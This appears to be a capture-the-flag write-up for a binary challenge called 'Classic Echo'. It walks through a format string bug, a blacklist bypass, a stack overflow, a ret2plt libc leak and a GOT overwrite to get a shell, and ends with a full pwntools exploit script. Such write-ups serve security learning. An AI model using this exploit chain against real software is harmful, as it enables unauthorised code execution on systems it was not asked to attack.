Classic Echo [PWN]
format string lead to stack overflow and to got overwrite
Let`s read source code of Program

Now the challenge gets two inputs from the user and compares it to the blacklist if the input contains any character from the blacklist then it will not print the input but if the input does not contain any character from the blacklist It will print the input
in line 40: there is format string bug
he used printf to print the input but he didn`t use Format Specifier to To avoid the Format String vulnerability
Now how do you get to line 40? and implement printf()?
try enter input not contains any character from the blacklist
now let's check what protections are enabled in program

the RELRO is Partial That mean you can overwrite GOT and Global Variables of program
Canary: Not Enabled
NX: enabled
PIE: not enabled that's sounds good
Ideas for Exploit
Try leak Libc Base address and Bypass ASLR from The first input and the second Input try overwrite
__do_global_dtors_aux_fini_array_entry
with main() function address that's make the program doesn't exit and when load the inputs again overwrite printf() or strstr() got entry with system() = this idea won't work because the RELRO is Partial That's make overwrite__do_global_dtors_aux_fini_array_entry
impossibleTry Overwrite strstr() or printf() got entry to main() function that's make the program have infinite loop and doesn't stop and leak Libc Base Address and Overwrite strstr() got entry to system = this idea won't work because the program have condition before run print() with your input if strstr(data,blacklist) != NULL run printf(data) and when you overwrite strstr() got entry to main() will be have infinite loop but you lost your format string bug
Try Overwrite format_specifier variable to "%s" to get stack overflow and launch ret2pt attack and return to main() function and overwrite strstr() got entry to system() function = this idea will be work
Exploit Steps
find format string offset
overwrite format_specifier variable to "%s"
launch ret2plt attack and leak Libc Base Address and return to main()
use format string again to overwrite strstr() got entry with system()
Problems with exploit
we need %p to get format string offset but %p is in black list what i go to do to solve this problem ?
we can leak address as hex value not pointers with this
%llX
we need %c to overwrite with format string bug but %c is in black list what the solve of this problem ?
change from %c to %C to bypass this problem and make the write_size='short'
Exploit
1- find format string offset
after try many offsets to find the offset ,i found the offset

2- overwrite format_specifier variable to "%s"

we need replace() to replace c with C in exploit
Run the script and attach the process id from gdb

now the second input is vulnerable a stack overflow try Control RIP

we need 280 Bytes to Control RIP
3- launch ret2plt attack and leak Libc Base Address and return to main()

run the script

4- use format string again to overwrite strstr() got entry with system()
now we have everything we need to call system() and execute "/bin/sh"

run the script

thank you for reading my writeup.
Exploit POC
from pwn import *
p = process("./main")
elf = ELF("./main")
libc = elf.libc
context.arch = "amd64"
#-----------------------------------------Format String Lead To Stack overflow----------------
offset = 18
format_specifier = 0x404090
# 0x7325 = "%s"
payload = fmtstr_payload(18,{format_specifier: 0x7325},write_size='short').replace(b'c',b'C')
p.sendlineafter(b'input>',payload)
#-----------------------------------------Ret2plt and Leak libc base address----------------
p.clean()
pop_rdi = p64(0x4013d3)
# execute puts() and pass puts_got as parameter
payload = b"A"*280
payload += pop_rdi
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts']) # puts(puts_got) will print the real address of puts function
payload += p64(elf.sym['main']) # after that return to main() to use the address we leaked
p.sendline(payload)
libc.address = u64(p.recvline()[260::].strip().ljust(8,b'\x00')) - libc.sym['puts']
success(f"libc.address: {hex(libc.address)}")
#-----------------------------------------GOT Overwrite----------------
payload = fmtstr_payload(18,{elf.got['strstr']: libc.sym['system']},write_size='short').replace(b'c',b'C')
p.sendlineafter(b'input>',payload)
p.sendline(b'/bin/sh\x00')
p.clean()
p.interactive()
Last updated